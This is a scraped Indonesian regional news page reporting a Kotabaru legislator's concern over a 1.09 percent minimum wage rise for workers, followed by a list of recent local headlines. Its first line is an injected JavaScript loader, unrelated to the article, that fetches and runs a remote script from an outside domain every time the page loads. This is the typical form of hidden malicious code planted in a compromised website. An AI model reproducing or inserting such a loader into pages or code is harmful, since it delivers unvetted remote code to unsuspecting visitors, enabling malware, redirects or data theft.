(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
DPRD KOTABARU

UMP Buruh Cuma Naik 1,09 Persen, Anggota DPRD Kotabaru Ini Prihatin


KANALKALIMANTAN.COM, KOTABARU – Rabbiansyah atau yang akrab di sapa Roby, salah satu anggota DPRD Kotabaru ini mengaku prihatin dengan kenaikan UMP untuk buruh hanya sebesar 1,09 persen.

Disampaikan pada siaran presnya,  Jumat (19/11/2021) bahwa, Kemenaker resmi membuat keputusan untuk para Gubernur agar membuat keputusan menaikkan upah tidak lebih dari 1,09 persen dan untuk di Provinsi Kalimantan Selatan ada kenaikan upah sebesar Rp 29 ribu.

“Saya sebagai legislator yang berasal dari aktivis buruh, secara pribadi sangat-sangat tidak mengerti dengan kebijakan pusat terkait upah ini.

Mulai lahirnya Undang Undang Ciptakerja khusus klaster tenaga kerja yang banyak memangkas kesejahteraan kaum buruh sampai keluar PP 36 tahun 2021 terkait kebijakan pengupahan, menghapus upah sektoral,” tutur dia.

 

 

Baca juga: KPK Lakukan Penahanan Bupati Wahid Selama 20 Hari ke Depan

Menurut dia, dengan adanya upah sektoral justru memberikan ruang kepada masing-masing sektor pengusaha untuk berunding dengan pihak serikat pekerja.

“Sebagai contohnya adalah dengan kondisi saat ini, pengusaha tambang batubara dan perkebunan kelapa sawit, harga CPO kan lagi naik-naiknya,” tambah dia.

Lebih jauh dia mengatakan, harusnya ada ruang buat teman-teman bisa berunding, yang jelas tidak berdampak juga terkait keuntungan perusahaan, dan Kabupaten Kotabaru sangat jelas dirugikan akibat kebijakan pusat tersebut.

Mengingat, sebanyak 50 ribu buruh yang ada di Kabupaten Kotabaru ada di sektor tambang batu bara dan perkebunan kelapa sawit.

Baca juga: Anak-anak PSAA Budi Mulia Dibikin Gembira saat Kak Bimo Bercerita

“Ini akibat kebijakan pusat yang mengamputasi kebijakan daerah, sementara untuk SDA kita di keruk dan pajak serta perijinan semua ada di pusat, daerah tinggal mendapat porsi bagi hasil yang tidak setimpal.

Yang jelas dengan kondisi itu kita begitu sulit bisa bergerak untuk membangun daerah,” tutup dia. (kanalkalimantan.com/muhammad)

Reporter: muhammad
Editor: Dhani


Risa

Recent Posts

Lomba Balogo Meriahkan Hari Jadi ke-72 Kabupaten HSU

KANALKALIMANTAN.COM, AMUNTAI - Lomba balogo meramaikan rangkaian Hari Jadi ke-72 Kabupaten Hulu Sungai Utara (HSU).… Read More

21 menit ago

Bupati Banjar Buka Sosialisasi dan Rakor Penyelenggaraan Administrasi Pemerintahan Desa

KANALKALIMANTAN.COM, MARTAPURA - Bupati Banjar H Saidi Mansyur membuka Sosialisasi dan Rapat Koordinasi (Rakor) Penyelenggaraan… Read More

47 menit ago

Dinas PUPR Berikan Pedoman Standar Penggunaan Air Minum dan Sanitasi bagi Masyarakat

KANALKALIMANTAN.COM, BANJARBARU - Setiap tahunnya, pemerintah daerah dan pusat berupaya untuk meningkatkan akses terhadap air… Read More

1 jam ago

Nobar Timnas di Balai Kota Banjarbaru Berizin Resmi Pemegang Hak Siar

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kota Banjarbaru memfasilitasi masyarakat nonton bareng memberikan dukungan kepada Tim Nasional… Read More

1 jam ago

Dekranasda HSU Tawarkan Produk Kerajinan UMKM di Bazar MTQ

KANALKALIMANTAN.COM, RANTAU - Dinas Koperasi UKM Perindustrian dan Perdagangan (Diskoperindag) Kabupaten Hulu Sungai Utara (HSU)… Read More

2 jam ago

Tekan Angka Pernikahan Dini, Pemkab Banjar Sosialisasi ke Sejumlah Sekolah

KANALKALIMANTAN.COM, MARTAPURA -  Ketua TP PKK Kabupaten Banjar Hj Nurgita Tiyas menjadi pembina upacara, diikuti… Read More

2 jam ago

This website uses cookies.